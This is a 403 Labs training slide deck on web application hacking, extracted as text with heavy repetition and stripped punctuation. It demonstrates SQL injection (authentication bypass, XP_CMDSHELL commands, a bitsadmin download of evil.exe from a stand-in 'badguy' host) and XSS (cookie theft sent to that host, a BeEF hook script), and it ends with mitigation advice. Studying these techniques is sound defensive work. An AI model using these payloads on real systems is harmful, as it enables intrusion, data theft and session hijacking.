bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 13: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 14: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 15: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =
